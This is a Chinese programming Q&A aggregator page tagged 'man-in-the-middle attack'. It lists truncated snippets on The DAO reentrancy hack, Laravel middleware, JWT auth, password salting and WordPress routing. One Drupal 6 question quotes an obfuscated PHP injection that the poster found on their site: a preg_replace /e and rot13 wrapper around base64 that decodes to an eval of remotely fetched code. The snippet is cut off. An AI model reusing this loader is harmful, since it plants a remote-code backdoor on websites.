草庐IT

中间人攻击

全部标签

Solidity - 安全 - 重入攻击(Reentrancy)

TheDAO事件首先简要说明下一个很有名的重入攻击事件,再模拟重入攻击。TheDAO是分布式自治组织,2016年5月正式发布,该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午,被攻击的消息开始在社交网站上出现,到6月18日黑客将超过360万个以太币转移到一个childDAO项目中,childDAO项目和TheDAO有着一样的结构,当时以太币的价格从20美元降到了13美元。当时,一个所谓的”递归调用“攻击(现在称为重入攻击)名词随之出现,这种攻击可以被用来消耗一些智能合约账户。这次的黑客攻击最终导致了以太坊硬分叉,分为ETH和ETC,分叉前的为ETC(以太坊

php - Drupal 6 中的 SQL PHP 注入(inject)攻击

今天,我的drupal6站点中的所有节点都出现了这个添加的php脚本?php$node->nid=849;preg_replace('/^(.'.'*'.')$/'.'e',preg_replace('/^(.'.'*'.')$/'.'e','str'.'_'.'rot'.(27-14).'(\'\1\')','riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'),'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHR

php - Laravel Controller 中一种特定方法的中间件

我在App\Http\Middleware\中有中间件Auth在我的内核中我添加了他:protected$routeMiddleware=['auth'=>\Illuminate\Auth\Middleware\Authenticate::class,'auth.basic'=>\Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,'bindings'=>\Illuminate\Routing\Middleware\SubstituteBindings::class,'can'=>\Illuminate\Auth\Mi

php - 在 Laravel 5.1 中使用中间件时出现 Class jwt-auth does not exist 错误

我按照官方的JWT-Auth安装https://github.com/tymondesigns/jwt-auth/wiki/Installation.现在我的Controller中有一个中间件:$this->middleware('jwt-auth',['only'=>['postChange','postChoose']]);我还在config/app.php的提供程序数组中添加了Tymon\JWTAuth\Providers\JWTAuthServiceProvider::class但是,当我向API发出请求时,我收到此错误消息:ReflectionExceptioninConta

php - Laravel 5.4 路由相同的前缀组但不同的中间件给出错误

我需要相同前缀ma​​nager下的所有路由,其中​​一个中间件用于访客ma​​nager_guest,另一个用于登录用户ma​​nager_auth。下面的代码是我的路由web.php文件。还有其他办法吗?我的路线:Route::prefix('manager')->group(['middleware'=>'manager_guest'],function(){Route::get('/register','Manager\RegisterController@showRegister')->name('manager.register.create');Route::post('

php - 调用函数时如何省略中间参数的默认值?

这个问题在这里已经有了答案:phpdefaultarguments(4个答案)关闭8年前。我有函数:functionabc($name,$city='duhok',$age=30){echo$name.",".$city.",".$age;}abc('Dilovan',null,26);//output:Dilovan,,26我想输出will:Dilovan,duhok,26我想在不设置第二个参数的情况下使用这个函数,第二个参数写入默认值。abc('Dilovan',[whatiuseheretowritedefualtvalue?],26);

php - 在 Laravel 5.1 上在 Controller 的构造函数之前运行中间件?

我有一个使用tymon/jwt-auth对JWT用户进行身份验证的中间件包裹:publicfunctionhandle($request,\Closure$next){if(!$token=$this->auth->setRequest($request)->getToken()){return$this->respond('tymon.jwt.absent','token_not_provided',400);}try{$user=$this->auth->authenticate($token);}catch(TokenExpiredException$e){return$this

php - Crypt 和 Salt 如何比 MD5 更安全地抵御暴力攻击?

我在PHP.net上看到MD5没用,他们建议使用crypt+salt。于是,我就去看了他们的功能描述或者在我的例子中是这样的:$stored_password=fetch_password($user);if(crypt($_REQUEST['password'],$stored_password)===$stored_password){//ok}因此,当我看到盐存储在散列密码中并且您使用该散列密码作为盐时,我认为Crypt+Salt对于输出的暴力破解(设法窃取散列密码的黑客)并不更安全).它更安全吗?对于字典攻击,我能理解它的威力,但对于对散列密码的暴力攻击,我看不到它的优势。

php - 从大文件 php 中间删除一行

我正试图从一个大文件的中间删除一行。(>20MB)。我知道要删除的行开头在文件中的位置。这是我目前拥有的。/***Removesalineatapositionfromthefile*@param[int]$positionThepositionatthestartofthelinetoberemoved*/publicfunctionremoveLineAt($position){$fp=fopen($this->filepath,"rw+");fseek($fp,$position);$nextLinePosition=$this->getNextLine($position,$f

php - 将中间件附加到特定的现有路由

有没有办法将中间件附加到Wordpress或PHP中的特定路由?我想在允许访问上传文件夹之前运行一个中间件函数,以检查用户是否有权访问该文件,然后再允许他们下载它。我有node.js/express的背景,所以如果它有帮助我想做这样的事情:app.use('/wp-content/uploads',function(req,res,next){//dostuffwithreqandcallnexttocontinue,//oruserestoendtherequestearly.}); 最佳答案 有各种WordPress插件用于限制